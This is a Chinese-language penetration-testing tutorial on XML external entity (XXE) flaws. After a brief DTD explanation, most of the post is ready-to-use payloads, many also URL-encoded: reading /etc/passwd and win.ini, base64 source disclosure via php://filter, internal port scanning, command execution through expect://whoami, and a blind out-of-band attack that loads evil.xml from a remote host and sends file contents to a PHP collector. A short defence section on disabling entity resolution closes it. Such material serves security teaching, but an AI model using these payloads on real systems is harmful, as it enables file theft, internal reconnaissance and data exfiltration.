渗透测试_XXE漏洞

发布时间 2023-04-19 08:30:05作者: KAKSKY

XML 外部实体注入(XML External Entity)简称 XXE 漏洞,XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。

<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

利用方式

有回显

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b "xxe">]><c>&b;</c>

xxe 漏洞常用利用如下
1.读取敏感文件

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]><c>&b;</c>
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]><c>&b;</c>

url 编码
读取 windows 文件

http://127.0.0.1/xxe.php?xml=<%3fxml version%3d"1.0"%3f><!DOCTYPE%20 a%20 [<!ENTITY b SYSTEM "file%3a%2f%2f%2fC%3a%2fWindows%2fwin.ini">]><c>%26b%3b<%2fc>

linux 就读取/etc/passwd 文件进行测试

2.使用 php 伪协议 php://filter 读取文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=phpinfo.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

将上面内容进行URL编码后的payload:

http://127.0.0.1/xxe.php?xml=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%75%74%66%2d%38%22%3f%3e%20%0a%3c%21%44%4f%43%54%59%50%45%20%78%64%73%65%63%20%5b%0a%3c%21%45%4c%45%4d%45%4e%54%20%6d%65%74%68%6f%64%6e%61%6d%65%20%41%4e%59%20%3e%0a%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%70%68%70%69%6e%66%6f%2e%70%68%70%22%20%3e%5d%3e%0a%3c%6d%65%74%68%6f%64%63%61%6c%6c%3e%0a%3c%6d%65%74%68%6f%64%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6d%65%74%68%6f%64%6e%61%6d%65%3e%0a%3c%2f%6d%65%74%68%6f%64%63%61%6c%6c%3e

3.扫描内网和端口
通过扫描 ip 和端口确定内网机器的 ip 和端口开发情况,访问端口会获取 baner 信息

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://127.0.0.1:80">
]>
<abc>&test;</abc>

将上面内容进行URL编码后的payload:

http://127.0.0.1/xxe.php?xml=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%3c%21%45%4e%54%49%54%59%20%74%65%73%74%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%38%30%22%3e%0a%5d%3e%0a%3c%61%62%63%3e%26%74%65%73%74%3b%3c%2f%61%62%63%3e

4.执行命令
若开启 expect 扩展

http://webpenter.com/xxe.php?xml=<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://whoami">]>
<abc>&test;</abc>

没回显

称为 blind xxe 可以使用外带数据通道提取数据,payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.0.146/evil.xml">
%remote;
%all;
]>
<root>&send;</root>

远程服务器上的evil.xml 文件内容:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.0.107/1.php?file=%file;'>">
<?php file_put_contents("1.txt", $_GET['file']); ?>

payload:

http://127.0.0.1/xxe.php?xml=%3C%3fxml%20version%3d%221.0%22%3f%3E%0A%3C!DOCTYPE%20ANY[%0A%3C!ENTITY%20%25%20file%20SYSTEM%20%22file%3a%2f%2f%2fC%3a%2f1.txt%22%3E%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3a%2f%2f192.168.0.146%2fevil.xml%22%3E%0A%25remote%3b%0A%25all%3b%0A]%3E%0A%3Croot%3E%26send%3b%3C%2froot%3E

防御方式

1.使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的 XML 数据
关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC
3.升级 libxml 组件